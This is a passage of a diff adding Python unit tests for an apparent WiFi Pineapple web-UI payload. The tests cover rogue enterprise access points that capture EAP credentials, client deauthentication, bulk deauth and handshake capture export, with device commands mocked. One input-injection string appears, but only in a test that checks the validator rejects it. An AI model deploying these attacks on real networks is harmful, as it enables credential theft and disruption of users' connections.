         server.ENT_PIDFILE = os.path.join(self.tmp, 'mk8.pid')
         server.ENT_EAP_USERS = os.path.join(self.tmp, 'eap_users')
         server.ENT_STATE = os.path.join(self.tmp, 'state.json')
+        server.ENT_DIR = os.path.join(self.tmp, 'ent')
+        server.ENT_CA_CERT = os.path.join(server.ENT_DIR, 'ca.pem')
+        server.ENT_SERVER_CERT = os.path.join(server.ENT_DIR, 'server.pem')
+        server.ENT_SERVER_KEY = os.path.join(server.ENT_DIR, 'server.key')
+        server.ENT_LOG = os.path.join(server.ENT_DIR, 'hostapd.log')
+        server.ENT_CAPTURES = os.path.join(server.ENT_DIR, 'captures.json')
+        server.ENT_DH_FILE = os.path.join(server.ENT_DIR, 'dh.pem')
+        # The fake device_run cannot execute real openssl; pre-seed the cert
+        # files so _ensure_ent_certs() short-circuits to True.
+        os.makedirs(server.ENT_DIR, exist_ok=True)
+        for p in (server.ENT_CA_CERT, server.ENT_SERVER_CERT,
+                  server.ENT_SERVER_KEY, server.ENT_DH_FILE):
+            with open(p, 'w') as f:
+                f.write('stub\n')
         self.old_ent_running = server._ent_running
         self.old_ent_state = server._ent_state_loaded
         server._ent_running = lambda: True
@@ -203,10 +219,42 @@ class AttacksDeployTest(unittest.TestCase):
         self.assertIn(['iw', 'phy', 'phy1', 'interface', 'add', 'wlan1ent',
                        'type', 'managed'], cmds)
         self.assertIn(['iw', 'dev', 'wlan1ent', 'set', 'type', 'ap'], cmds)
-        self.assertIn(['/usr/sbin/hostapd', '-B', '-P', server.ENT_PIDFILE,
-                       server.ENT_CONF], cmds)
+        self.assertTrue(any(c[:4] == ['/usr/sbin/hostapd', '-B', '-P', server.ENT_PIDFILE]
+                            for c in cmds))
         self.assertEqual(self.f.state['pineapd.@hostapd[0].mgmtiface'], 'wlan1ent')
+        self.assertEqual(self.f.state['pineapd.@hostapd[0].pineape_auth_pass'], '0')
         self.assertEqual(self.f.state['pineapd.wlan1mon.hop'], '0')
+        with open(server.ENT_CONF) as f:
+            conf = f.read()
+        self.assertIn('ca_cert=', conf)
+        self.assertIn('server_cert=', conf)
+        self.assertIn('private_key=', conf)
+        self.assertIn('ieee8021x=1', conf)
+        self.assertIn('eap_server=1', conf)
+        self.assertNotIn('eap_server_identity', conf)
+        self.assertNotIn('eap_server_erp', conf)
+        self.assertNotIn('dh_file=', conf)
+        self.assertIn('ieee80211w=0', conf)
+        with open(server.ENT_EAP_USERS) as f:
+            users = f.read()
+        self.assertIn('PEAP,TTLS', users)
+        self.assertIn('[2]', users)
+        # Phase-2 entries must use a quoted empty prefix: hostapd never
+        # wildcard-matches a bare `*` identity for phase2 lookups.
+        self.assertIn('""*', users)
+        self.assertNotRegex(users, r'(?m)^\*\t.*\[2\]$')
+
+    def test_eap_users_text_grammar_matches_pineapple_wpad(self):
+        text = server._eap_users_text('secret123', 'any')
+        lines = text.splitlines()
+        self.assertEqual(lines[0], '*\tPEAP,TTLS')
+        self.assertTrue(lines[1].startswith('""*\t'))
+        self.assertIn('"secret123"', lines[1])
+        self.assertTrue(lines[1].endswith('[2]'))
+        # A bare-wildcard phase-2 line is the firmware-broken grammar.
+        for line in lines:
+            if line.endswith('[2]'):
+                self.assertFalse(line.startswith('*\t'))
 
     def test_deploy_enterprise_rejects_non_5g_channel(self):
         status, _ = server.h_attacks_deploy(ctx({
@@ -217,11 +265,86 @@ class AttacksDeployTest(unittest.TestCase):
     def test_stop_enterprise_tears_down_engine(self):
         server._ent_running = lambda: True
         server._ent_state_loaded = lambda: {'ssid': 'CorpAP', 'channel': 36}
+        self.f.state['pineapd.@hostapd[0].pineape_auth_pass'] = '0'
         status, payload = server.h_attacks_stop(ctx({'kind': 'enterprise'}))
         self.assertEqual(status, 200)
         self.assertIn('wlan1ent', payload['stopped'])
         cmds = [r[0] for r in self.f.runs]
         self.assertIn(['iw', 'dev', 'wlan1ent', 'del'], cmds)
+        # Deploy disabled PineAPE auth passthrough; stop must restore it.
+        self.assertEqual(self.f.state['pineapd.@hostapd[0].pineape_auth_pass'],
+                         '1')
+
+    def test_deploy_enterprise_writes_passphrase_and_hidden(self):
+        status, payload = server.h_attacks_deploy(ctx({
+            'kind': 'enterprise', 'ssid': 'CorpAP', 'passphrase': 'labsecret',
+            'enctype': 'wpa2', 'hidden': True, 'channel': 36}))
+        self.assertEqual(status, 200)
+        with open(server.ENT_EAP_USERS) as f:
+            users = f.read()
+        self.assertIn('labsecret', users)
+        self.assertIn('PEAP,TTLS', users)
+        self.assertIn('[2]', users)
+        with open(server.ENT_CONF) as f:
+            conf = f.read()
+        self.assertIn('ignore_broadcast_ssid=1', conf)
+        self.assertIn('ca_cert=', conf)
+
+    def test_eap_secret_sanitizes_quotes(self):
+        self.assertEqual(server._eap_secret(''), 'dummy')
+        self.assertEqual(server._eap_secret('ab"c\ndef'), 'abcdef')
+
+    def test_hostapd_unknown_items_parse_pager_error(self):
+        err = ("Line 14: unknown configuration item 'eap_server_identity'\n"
+               "1 errors found in configuration file '/root/loot/enterprise.conf'\n"
+               "Failed to set up interface with /root/loot/enterprise.conf\n"
+               "Failed to initialize interface\n")
+        self.assertEqual(server._hostapd_unknown_items(err), ['eap_server_identity'])
+
+    def test_drop_hostapd_keys_removes_only_named_lines(self):
+        conf = ('interface=wlan1ent\n'
+                'eap_server=1\n'
+                'eap_server_identity=hostapd\n'
+                'dh_file=/tmp/dh.pem\n')
+        new, changed = server._drop_hostapd_keys(
+            conf, ['eap_server_identity', 'dh_file'])
+        self.assertTrue(changed)
+        self.assertIn('eap_server=1', new)
+        self.assertIn('interface=wlan1ent', new)
+        self.assertNotIn('eap_server_identity', new)
+        self.assertNotIn('dh_file=', new)
+
+    def test_start_ent_hostapd_strips_unknown_keys_and_retries(self):
+        with open(server.ENT_CONF, 'w') as f:
+            f.write('interface=wlan1ent\neap_server=1\neap_server_identity=hostapd\n')
+        orig = server.device_run
+        seen = []
+
+        def wrapped(args, timeout=20, input_data=None):
+            a = list(args)
+            if a and a[0] == '/usr/sbin/hostapd':
+                with open(server.ENT_CONF) as fh:
+                    text = fh.read()
+                seen.append(text)
+                if 'eap_server_identity' in text:
+                    return (1, '',
+                            "Line 3: unknown configuration item 'eap_server_identity'\n"
+                            "1 errors found in configuration file '%s'\n"
+                            "Failed to initialize interface\n" % server.ENT_CONF)
+                return (0, '', '')
+            return orig(args, timeout=timeout, input_data=input_data)
+
+        server.device_run = wrapped
+        try:
+            rc, _out, _err = server._start_ent_hostapd()
+        finally:
+            server.device_run = orig
+        self.assertEqual(rc, 0)
+        self.assertGreaterEqual(len(seen), 2)
+        with open(server.ENT_CONF) as f:
+            conf = f.read()
+        self.assertNotIn('eap_server_identity', conf)
+        self.assertIn('eap_server=1', conf)
 
     def test_deploy_validation(self):
         status, _ = server.h_attacks_deploy(ctx({'kind': 'wpa', 'ssid': ''}))
@@ -265,7 +388,7 @@ class AttacksDeauthTest(unittest.TestCase):
         self.assertEqual(payload['inject'], 'wlan0mon')
         calls = [r[0] for r in self.f.runs]
         self.assertIn(['_pineap', 'INTERFACE', 'INJECT', 'wlan0mon'], calls)
-        self.assertIn(['/usr/bin/hak5cmd', 'DEAUTH_CLIENT', 'AA:BB:CC:DD:EE:FF',
+        self.assertIn(['/usr/bin/hak5cmd', 'PINEAPPLE_DEAUTH_CLIENT', 'AA:BB:CC:DD:EE:FF',
                        '11:22:33:44:55:66', '6'], calls)
 
     def test_deauth_5g_keeps_wlan1mon_inject(self):
@@ -281,6 +404,20 @@ class AttacksDeauthTest(unittest.TestCase):
         self.assertEqual(status, 400)
 
 
+class AttackFilterModeTest(unittest.TestCase):
+    def test_allow_all_ssids_uses_full_network_filter_app_name(self):
+        calls = []
+        old_run = server.device_run
+        server.device_run = lambda args, timeout=20, input_data=None: (
+            calls.append(list(args)) or (0, '', ''))
+        try:
+            self.assertTrue(server._allow_all_ssids())
+        finally:
+            server.device_run = old_run
+        self.assertEqual(calls, [[server.HAK5CMD,
+                                  'PINEAPPLE_NETWORK_FILTER_MODE', 'deny']])
+
+
 class AttacksExportTest(unittest.TestCase):
     def setUp(self):
         self.f = FakeUciDevice()
@@ -299,11 +436,13 @@ class AttacksExportTest(unittest.TestCase):
         server.device_run = fake_run
         server.daemon_sock_call = lambda method, path, body=None, timeout=10: (200, {})
         self._real_exists = os.path.exists
+        self._real_getsize = os.path.getsize
         server.os.path.exists = lambda p: p.endswith('.hc22000') or p.startswith('/sys')
         server.os.path.getsize = lambda p: 12
 
     def tearDown(self):
         server.os.path.exists = self._real_exists
+        server.os.path.getsize = self._real_getsize
         try:
             os.unlink('/tmp/mk8test.hc22000')
         except OSError:
@@ -322,5 +461,276 @@ class AttacksExportTest(unittest.TestCase):
         self.assertIn('/root/loot/pcap/b.cap', hc)
 
 
+class AttacksStatusTest(unittest.TestCase):
+    def setUp(self):
+        self.saved = {
+            '_count_table': server._count_table,
+            '_ent_summary': server._ent_summary,
+            'daemon_sock_call': server.daemon_sock_call,
+            '_uci_ap_summary': server._uci_ap_summary,
+            '_read_hop': server._read_hop,
+        }
+
+    def tearDown(self):
+        for name, fn in self.saved.items():
+            setattr(server, name, fn)
+
+    def test_status_exposes_enterprise_ap_for_ui(self):
+        server._count_table = lambda t: {
+            'hostap_handshake': 2, 'hostap_basic': 3, 'hostap_chalresp': 1
+        }.get(t, 0)
+        server._ent_summary = lambda detail=True: {
+            'enabled': True, 'live': True, 'ssid': 'CorpLab',
+            'iface': 'wlan1ent', 'stations': ['AA:BB:CC:DD:EE:FF'],
+            'auth_method': 'mschapv2', 'certs': True, 'captures': 4,
+            'ctrl_linked': True,
+        }
+        server.daemon_sock_call = lambda *a, **k: (200, {'pineape_disabled': False})
+        server._uci_ap_summary = lambda *a, **k: None
+        server._read_hop = lambda: '1'
+        status, payload = server.h_attacks_status(ctx())
+        self.assertEqual(status, 200)
+        self.assertTrue(payload['enterprise']['ap']['live'])
+        self.assertEqual(payload['enterprise']['ap']['ssid'], 'CorpLab')
+        self.assertEqual(payload['enterprise']['identities'], 3)
+        self.assertEqual(payload['enterprise']['mschapv2'], 1)
+        self.assertEqual(payload['enterprise']['creds'], 4)
+        self.assertEqual(payload['handshakes'], 2)
+        self.assertTrue(payload['enterprise']['pineape']['enabled'])
+
+
+class AttacksCaptureTest(unittest.TestCase):
+    def setUp(self):
+        self.f = FakeUciDevice()
+        server.device_run = self.f.device_run
+        server.daemon_sock_call = lambda *a, **k: (200, {})
+        server._uci_wifi_iface = self.f.uci_iface
+        server._uci_section = self.f.uci_iface
+        server._verify_iface = lambda name, timeout=20: self.f._verify
+        self.pidfile = tempfile.mktemp(prefix='mk8-cap-test-')
+        self.real_exists = os.path.exists
+
+    def tearDown(self):
+        os.path.exists = self.real_exists
+        try:
+            os.unlink(self.pidfile)
+        except OSError:
+            pass
+
+    def test_status_reports_dead_pid_as_stopped_stale(self):
+        with open(self.pidfile, 'w') as f:
+            f.write('999999\n')
+        running, pid, stale = server._capture_state(self.pidfile, 'wlan0mon')
+        self.assertFalse(running)
+        self.assertTrue(stale)
+        self.assertFalse(os.path.exists(self.pidfile),
+                         'stale pidfile must be cleaned up')
+
+    def test_status_kills_capture_when_iface_dropped(self):
+        with open(self.pidfile, 'w') as f:
+            f.write('4242\n')
+        real_exists = os.path.exists
+        killed = []
+        old_run = server.device_run
+
+        def fake_run(args, timeout=20, input_data=None):
+            if args[0] == 'kill':
+                killed.append(args[1])
+            return (0, '', '')
+
+        server.device_run = fake_run
+        try:
+            os.path.exists = lambda p: p.startswith('/proc/4242')
+            running, pid, stale = server._capture_state(
+                self.pidfile, 'wlan0mon')
+        finally:
+            os.path.exists = real_exists
+            server.device_run = old_run
+        self.assertFalse(running)
+        self.assertTrue(stale)
+        self.assertEqual(killed, ['4242'])
+
+    def test_status_live_capture_running(self):
+        with open(self.pidfile, 'w') as f:
+            f.write(str(os.getpid()))
+        real_exists = os.path.exists
+        try:
+            # /proc/<pid> exists for our own process; iface path faked up.
+            os.path.exists = lambda p: (
+                not p.startswith('/sys/class/net') or p.endswith('wlan0mon'))
+            running, pid, stale = server._capture_state(
+                self.pidfile, 'wlan0mon')
+        finally:
+            os.path.exists = real_exists
+        self.assertTrue(running)
+        self.assertFalse(stale)
+
+    def test_deploy_retries_radio0_set_ap_when_iface_never_verifies(self):
+        calls = {'set_ap': 0}
+
+        def sock(method, path, body=None, timeout=10):
+            if path == '/api/settings/wifi/set_ap':
+                calls['set_ap'] += 1
+            return (200, {})
+
+        server.daemon_sock_call = sock
+        self.f._verify = False
+        status, payload = server.h_attacks_deploy(ctx({
+            'kind': 'open', 'ssid': 'Guest', 'channel': 1}))
+        self.assertEqual(status, 200)
+        self.assertFalse(payload['verified'])
+        self.assertEqual(calls['set_ap'], 2,
+                         'radio0 deploy must retry set_ap once')
+
+    def test_deploy_5g_does_not_retry_set_ap(self):
+        calls = {'set_ap': 0}
+
+        def sock(method, path, body=None, timeout=10):
+            if path == '/api/settings/wifi/set_ap':
+                calls['set_ap'] += 1
+            return (200, {})
+
+        server.daemon_sock_call = sock
+        self.f._verify = False
+        status, payload = server.h_attacks_deploy(ctx({
+            'kind': 'wpa', 'ssid': 'Corp', 'passphrase': 'secretpass1',
+            'enctype': 'psk2', 'channel': 36}))
+        self.assertEqual(status, 200)
+        self.assertEqual(calls['set_ap'], 0,
+                         '5 GHz path writes UCI directly, no set_ap')
+        self.assertEqual(self.f.state['pineapd.@hostapd[0].mgmtiface'],
+                         'wlan1wpa')
+
+
 if __name__ == '__main__':
     unittest.main()
+
+
+class AttacksDeauthBulkTest(unittest.TestCase):
+    def setUp(self):
+        self.f = FakeUciDevice()
+        self.f._verify = True
+        server.device_run = self.f.device_run
+        server.daemon_sock_call = self.f.daemon_sock_call
+        server._uci_wifi_iface = self.f.uci_iface
+
+    def test_bulk_deauth_all_targets(self):
+        targets = [
+            {'bssid': 'AA:BB:CC:DD:EE:FF', 'client': '11:22:33:44:55:66',
+             'channel': 6},
+            {'bssid': 'AA:BB:CC:DD:EE:FF', 'client': '22:22:33:44:55:66',
+             'channel': 36},
+        ]
+        status, payload = server.h_attacks_deauth_bulk(ctx({'targets': targets}))
+        self.assertEqual(status, 200)
+        self.assertEqual(payload['sent'], 2)
+        self.assertEqual(payload['failed'], 0)
+        calls = [r[0] for r in self.f.runs]
+        self.assertIn(['/usr/bin/hak5cmd', 'PINEAPPLE_DEAUTH_CLIENT',
+                       'AA:BB:CC:DD:EE:FF', '11:22:33:44:55:66', '6'], calls)
+        self.assertIn(['/usr/bin/hak5cmd', 'PINEAPPLE_DEAUTH_CLIENT',
+                       'AA:BB:CC:DD:EE:FF', '22:22:33:44:55:66', '36'], calls)
+
+    def test_bulk_deauth_mixed_validity_reports_per_target(self):
+        targets = [
+            {'bssid': 'AA:BB:CC:DD:EE:FF', 'client': '11:22:33:44:55:66',
+             'channel': 6},
+            {'bssid': 'nope', 'client': '22:22:33:44:55:66', 'channel': 6},
+        ]
+        status, payload = server.h_attacks_deauth_bulk(ctx({'targets': targets}))
+        self.assertEqual(status, 200)
+        self.assertEqual(payload['sent'], 1)
+        self.assertEqual(payload['failed'], 1)
+        self.assertFalse(payload['results'][1]['ok'])
+        self.assertEqual(payload['results'][1]['error'], 'invalid AP MAC')
+
+    def test_bulk_deauth_rejects_empty_and_oversized(self):
+        status, _ = server.h_attacks_deauth_bulk(ctx({'targets': []}))
+        self.assertEqual(status, 400)
+        status, _ = server.h_attacks_deauth_bulk(ctx({}))
+        self.assertEqual(status, 400)
+        big = [{'bssid': 'AA:BB:CC:DD:EE:FF', 'client': '11:22:33:44:55:%02d' % (i % 256),
+                'channel': 6} for i in range(33)]
+        status, payload = server.h_attacks_deauth_bulk(ctx({'targets': big}))
+        self.assertEqual(status, 400)
+
+
+class AttacksCaptureStatusBothIfacesTest(unittest.TestCase):
+    """The UI polls status without an iface; the handler must report the
+    monitor that actually has a live capture (regression: wlan1mon captures
+    flipped back to 'Not capturing' within one 5s poll)."""
+
+    def setUp(self):
+        self.f = FakeUciDevice()
+        server.device_run = self.f.device_run
+        self.pidfiles = ['/tmp/mk8_capture_wlan0mon.pid',
+                         '/tmp/mk8_capture_wlan1mon.pid']
+        self.real_exists = os.path.exists
+        for p in self.pidfiles:
+            try:
+                os.unlink(p)
+            except OSError:
+                pass
+
+    def tearDown(self):
+        os.path.exists = self.real_exists
+        for p in self.pidfiles:
+            try:
+                os.unlink(p)
+            except OSError:
+                pass
+
+    def _live_pidfile(self, iface):
+        with open('/tmp/mk8_capture_%s.pid' % iface, 'w') as f:
+            f.write(str(os.getpid()))
+
+    def test_status_without_iface_finds_running_wlan1mon(self):
+        self._live_pidfile('wlan1mon')
+        # Own pid always exists in /proc; pretend the wlan1mon netdev exists.
+        os.path.exists = lambda p: (
+            not p.startswith('/sys/class/net') or p.endswith('wlan1mon'))
+        status, payload = server.h_attacks_capture(ctx({'action': 'status'}))
+        self.assertEqual(status, 200)
+        self.assertTrue(payload['running'])
+        self.assertEqual(payload['iface'], 'wlan1mon')
+
+    def test_status_without_iface_defaults_when_none_running(self):
+        status, payload = server.h_attacks_capture(ctx({'action': 'status'}))
+        self.assertEqual(status, 200)
+        self.assertFalse(payload['running'])
+        self.assertIn(payload['iface'], ('wlan0mon', 'wlan1mon'))
+
+    def test_start_mkdirs_pcap_dir_and_logs_stderr(self):
+        calls = []
+
+        def fake_run(args, timeout=20, input_data=None):
+            calls.append(list(args))
+            if args[:2] == ['sh', '-c'] and 'echo $!' in args[2]:
+                with open('/tmp/mk8_capture_wlan1mon.pid', 'w') as f:
+                    f.write(str(os.getpid()))
+            return (0, '', '')
+
+        old_exists = os.path.exists
+        server.device_run = fake_run
+        # /proc does not exist on dev hosts; fake liveness for our own pid.
+        os.path.exists = lambda p: (
+            p.startswith('/proc/') or
+            not p.startswith('/sys/class/net') or p.endswith('wlan1mon'))
+        try:
+            status, payload = server.h_attacks_capture(ctx({
+                'action': 'start', 'iface': 'wlan1mon'}))
+        finally:
+            server.device_run = self.f.device_run
+            os.path.exists = old_exists
+        self.assertEqual(status, 200)
+        self.assertTrue(payload['running'])
+        self.assertTrue(any(a[:3] == ['mkdir', '-p', '/root/loot/pcap']
+                            for a in calls),
+                        'capture dir must be created before starting tcpdump')
+        sh_cmd = next(a[2] for a in calls if a[:2] == ['sh', '-c'])
+        self.assertNotIn('/dev/null', sh_cmd)
+        self.assertIn('mk8_capture_wlan1mon.log', sh_cmd)
+        try:
+            os.unlink('/tmp/mk8_capture_wlan1mon.pid')
+        except OSError:
+            pass

tests/test_build_common.py

@@ -0,0 +1,101 @@
+"""Tests for scripts/build_common.py version stamping helpers."""
+import json
+import os
+import shutil
+import sys
+import tempfile
+import unittest
+
+sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'scripts'))
+import build_common
+
+
+class BuildCommonTest(unittest.TestCase):
+    def setUp(self):
+        self.dir = tempfile.mkdtemp()
+        self.payload = os.path.join(self.dir, 'user', 'remote_access',
+                                    'pager-webui')
+        os.makedirs(self.payload)
+        with open(os.path.join(self.dir, '_hak5_manifest.json'), 'w') as f:
+            f.write('{"payload": "pager-webui", "version": "1.3.2"}')
+        with open(os.path.join(self.payload, 'payload.sh'), 'w') as f:
+            f.write('#!/bin/bash\n'
+                    '# Title: Mark VIII\n'
+                    '# Description: test payload\n'
+                    '# Version: 1.3.2\n'
+                    '# Category: Remote-Access\n'
+                    '\n'
+                    'echo hi\n')
+        with open(os.path.join(self.payload, 'server.py'), 'w') as f:
+            f.write('"""Mark VIII server."""\n'
+                    'import os\n'
+                    '\n'
+                    'PORT = 8080\n')
+
+    def tearDown(self):
+        shutil.rmtree(self.dir, ignore_errors=True)
+
+    def _server_text(self):
+        with open(os.path.join(self.payload, 'server.py')) as f:
+            return f.read()
+
+    def test_stamp_version_updates_all_three_files(self):
+        stamped = sorted(build_common.stamp_version(self.dir, '1.4.0'))
+        expected = sorted([
+            os.path.join(self.dir, '_hak5_manifest.json'),
+            os.path.join(self.payload, 'payload.sh'),
+            os.path.join(self.payload, 'server.py'),
+        ])
+        self.assertEqual(stamped, expected)
+        with open(os.path.join(self.dir, '_hak5_manifest.json')) as f:
+            self.assertEqual(json.load(f)['version'], '1.4.0')
+        with open(os.path.join(self.payload, 'payload.sh')) as f:
+            sh_text = f.read()
+        self.assertIn('# Version: 1.4.0', sh_text)
+        self.assertNotIn('# Version: 1.3.2', sh_text)
+        server_text = self._server_text()
+        self.assertIn("SERVER_VERSION = '1.4.0'", server_text)
+        self.assertEqual(server_text.count('SERVER_VERSION'), 1)
+        self.assertLess(server_text.index("SERVER_VERSION = '1.4.0'"),
+                        server_text.index('\nimport os'))
+
+    def test_stamp_version_is_idempotent_and_upgrades(self):
+        build_common.stamp_version(self.dir, '1.4.0')
+        stamped = build_common.stamp_version(self.dir, '1.5.0')
+        self.assertEqual(len(stamped), 3)
+        server_text = self._server_text()
+        self.assertEqual(server_text.count('SERVER_VERSION'), 1)
+        self.assertIn("SERVER_VERSION = '1.5.0'", server_text)
+        with open(os.path.join(self.payload, 'payload.sh')) as f:
+            self.assertIn('# Version: 1.5.0', f.read())
+
+    def test_server_without_docstring_gets_top_injection(self):
+        path = os.path.join(self.payload, 'server.py')
+        with open(path, 'w') as f:
+            f.write('# comment header\n'
+                    '\n'
+                    'import os\n'
+                    'PORT = 8080\n')
+        build_common.stamp_version(self.dir, '9.9.9')
+        text = self._server_text()
+        lines = text.splitlines(True)
+        idx = [i for i, l in enumerate(lines) if l.startswith('SERVER_VERSION')]
+        self.assertEqual(len(idx), 1)
+        self.assertLess(idx[0], [i for i, l in enumerate(lines)
+                                 if l.startswith('import os')][0])
+
+    def test_missing_files_are_tolerated(self):
+        empty = tempfile.mkdtemp()
+        try:
+            self.assertEqual(build_common.stamp_version(empty, '1.4.0'), [])
+        finally:
+            shutil.rmtree(empty, ignore_errors=True)
+
+    def test_invalid_version_is_rejected(self):
+        for bad in ("1.4'; import os", '', 'a' * 64, 'ver x'):
+            with self.assertRaises(ValueError):
+                build_common.stamp_version(self.dir, bad)
+
+
+if __name__ == '__main__':
+    unittest.main()

tests/test_core.py

@@ -69,3 +69,15 @@ class DeviceRunTest(unittest.TestCase):
 
 if __name__ == '__main__':
     unittest.main()
+
+
+class DeviceRunInputTest(unittest.TestCase):
+    def test_str_input_data_is_encoded(self):
+        rc, out, err = server.device_run(['cat'], input_data='uci import text')
+        self.assertEqual(rc, 0)
+        self.assertEqual(out, 'uci import text')
+
+    def test_bytes_input_data_passes_through(self):
+        rc, out, err = server.device_run(['cat'], input_data=b'raw')
+        self.assertEqual(rc, 0)
+        self.assertEqual(out, 'raw')

tests/test_env_check.py

@@ -0,0 +1,328 @@
+import importlib
+import io
+import os
+import sqlite3
+import sys
+import tempfile
+import unittest
+from contextlib import redirect_stdout
+
+sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'payload', 'user', 'remote_access', 'pager-webui'))
+import server
+
+
+def setUpModule():
+    importlib.reload(server)
+
+
+class EnvCheckTest(unittest.TestCase):
+    def setUp(self):
+        fd, self.db = tempfile.mkstemp(suffix='.db')
+        os.close(fd)
+        conn = sqlite3.connect(self.db)
+        conn.execute('CREATE TABLE scan(id INTEGER PRIMARY KEY, time INT, name TEXT)')
+        conn.execute("INSERT INTO scan (time, name) VALUES (1786466531, 'pager')")
+        conn.commit()
+        conn.close()
+        server.RECON_DB = self.db
+        self.runs = []
+        self.ping_ok = True
+        self.daemon_ok = True
+        self.ip_link_ok = True
+        self.iface_up = {'wlan0mon': True, 'wlan1mon': True}
+        self.uci_state = {}
+        server.ENV_CHECK_STATE.update({'report': None, 'overall': None, 'updated': 0,
+                                       'pool_runtime': None})
+        self.old_iface_up = server._iface_up
+        server._iface_up = lambda name: self.iface_up.get(name, True)
+        self.old_daemon = server.daemon_sock_call
+        self.old_run = server.device_run
+        server.daemon_sock_call = self.fake_daemon
+        server.device_run = self.fake_run
+
+    def tearDown(self):
+        server._iface_up = self.old_iface_up
+        server.daemon_sock_call = self.old_daemon
+        server.device_run = self.old_run
+        try:
+            os.unlink(self.db)
+        except OSError:
+            pass
+
+    def fake_daemon(self, method, path, body=None, timeout=10):
+        if self.daemon_ok:
+            return 200, {'autossidpool': False}
+        return 0, None
+
+    def fake_run(self, args, timeout=20, input_data=None):
+        self.runs.append(list(args))
+        a = list(args)
+        if a[0] == 'pidof' and a[1] == 'pineapple':
+            return (0, '23456\n', '') if self.daemon_ok else (1, '', '')
+        if a[0] == 'pidof' and a[1] == 'pineapd':
+            return (0, '12345\n', '') if self.ping_ok else (1, '', '')
+        if a[0] == 'uci':
+            if a[1] == 'set':
+                k, _, v = a[2].partition('=')
+                self.uci_state[k] = v
+                return (0, '', '')
+            if a[1] == 'delete':
+                for k in list(self.uci_state):
+                    if k == a[2] or k.startswith(a[2] + '.'):
+                        del self.uci_state[k]
+                return (0, '', '')
+            if a[1] == 'get':
+                return (0, self.uci_state.get(a[2], '') + '\n', '')
+            if a[1] == 'commit':
+                return (0, '', '')
+            if a[1] == 'show':
+                sec = a[2]
+                return (0, ''.join("%s=%s\n" % (k, v) for k, v in self.uci_state.items()
+                                   if k.startswith(sec + '.')), '')
+        if a[0] == '_pineap':
+            return (0, '', '')
+        if a[:3] == ['ip', 'link', 'set']:
+            if self.ip_link_ok:
+                self.iface_up[a[3]] = True
+                return (0, '', '')
+            return (1, '', 'interface unavailable')
+        if a[0] in ('ip', '/etc/init.d/pineapd'):
+            return (0, '', '')
+        return (0, '', '')
+
+    def safe_set(self):
+        for key, value in server.PINEAPD_SAFE_UCI.items():
+            self.uci_state[key] = value
+
+    def steps(self, report, needle):
+        return [r for r in report if needle in r['detail']]
+
+    def test_pass_when_state_sane(self):
+        self.safe_set()
+        report = server.env_check()
+        self.assertEqual(server.ENV_CHECK_STATE['overall'], 'pass')
+        self.assertEqual([r['ok'] for r in report],
+                         ['pass'] * len(report))
+        self.assertEqual(server.ENV_CHECK_STATE['pool_runtime'], 'disabled')
+        self.assertNotIn(['_pineap', 'SSIDPOOL', 'DISABLE'], self.runs)
+
+    def test_warns_sane_defaults_when_missing_without_mutating(self):
+        self.uci_state['pineapd.@ssidpool[0].ssid'] = 'QmVlcg=='
+        report = server.env_check()
+        self.assertEqual(
+            self.steps(report, 'live PineAP UCI left unchanged')[0]['ok'], 'warn')
+        self.assertNotIn(['/etc/init.d/pineapd', 'restart'], self.runs)
+        self.assertNotIn(['/etc/init.d/pineapd', 'stop'], self.runs)
+        self.assertFalse(any(a[:2] == ['uci', 'set'] for a in self.runs))
+        self.assertFalse(any(a[:2] == ['uci', 'commit'] for a in self.runs))
+        self.assertFalse(any(a[:2] == ['uci', 'delete'] for a in self.runs))
+        self.assertEqual(self.uci_state['pineapd.@ssidpool[0].ssid'], 'QmVlcg==')
+        for key in server.PINEAPD_SAFE_UCI:
+            self.assertNotIn(key, self.uci_state)
+
+    def test_uci_pass_when_already_set(self):
+        self.safe_set()
+        report = server.env_check()
+        self.assertEqual(self.steps(report, 'sane-off UCI defaults already set')[0]['ok'], 'pass')
+
+    def test_does_not_commit_refilled_pool_while_live(self):
+        self.safe_set()
+        self.uci_state['pineapd.@ssidpool[0].ssid'] = 'QmVlcg=='
+        report = server.env_check()
+        actions = ' | '.join((r.get('action') or '') for r in report)
+        self.assertNotIn('pool-list cleared', actions)
+        self.assertIn('pineapd.@ssidpool[0].ssid', self.uci_state)
+
+    def test_restarts_pineapd_when_down(self):
+        self.safe_set()
+        self.ping_ok = False
+        self.pidof_calls = 0
+        real_ping = self.fake_run
+
+        def ping_then_up(args, timeout=20, input_data=None):
+            if args[0] == 'pidof' and args[1] == 'pineapd':
+                self.pidof_calls += 1
+                if self.pidof_calls > 1:
+                    return (0, '12345\n', '')
+            return real_ping(args, timeout=timeout, input_data=input_data)
+
+        server.device_run = ping_then_up
+        report = server.env_check()
+        self.assertEqual(self.steps(report, 'pineapd was down')[0]['ok'], 'fixed')
+        self.assertIn(['/etc/init.d/pineapd', 'restart'], self.runs)
+
+    def test_fail_when_pineapd_stays_down(self):
+        self.safe_set()
+        self.ping_ok = False
+        report = server.env_check()
+        self.assertEqual(self.steps(report, 'did not come back')[0]['ok'], 'fail')
+        self.assertEqual(server.ENV_CHECK_STATE['overall'], 'fail')
+
+    def test_fail_when_daemon_unreachable(self):
+        self.daemon_ok = False
+        report = server.env_check()
+        self.assertEqual(self.steps(report, 'daemon unreachable')[0]['ok'], 'fail')
+        self.assertEqual(server.ENV_CHECK_STATE['overall'], 'fail')
+
+    def test_raises_down_monitors(self):
+        self.safe_set()
+        self.iface_up = {'wlan0mon': False, 'wlan1mon': True}
+        report = server.env_check()
+        self.assertEqual(self.steps(report, 'monitor interfaces brought up')[0]['ok'], 'fixed')
+        self.assertIn(['ip', 'link', 'set', 'wlan0mon', 'up'], self.runs)
+
+    def test_unavailable_monitor_fails_startup_contract(self):
+        self.safe_set()
+        self.iface_up = {'wlan0mon': False, 'wlan1mon': True}
+        self.ip_link_ok = False
+        report = server.env_check()
+        step = self.steps(report, 'monitor interfaces unavailable')[0]
+        self.assertEqual(step['ok'], 'fail')
+        self.assertEqual(server.ENV_CHECK_STATE['overall'], 'fail')
+
+    def test_monitors_up_pass(self):
+        self.safe_set()
+        report = server.env_check()
+        self.assertEqual(self.steps(report, 'monitors up')[0]['ok'], 'pass')
+
+    def test_recon_db_unreadable_fails(self):
+        self.safe_set()
+        os.unlink(self.db)
+        report = server.env_check()
+        self.assertEqual(self.steps(report, 'recon DB unreadable')[0]['ok'], 'fail')
+        self.assertEqual(server.ENV_CHECK_STATE['overall'], 'fail')
+
+    def test_recon_db_readable_reports_count(self):
+        self.safe_set()
+        report = server.env_check()
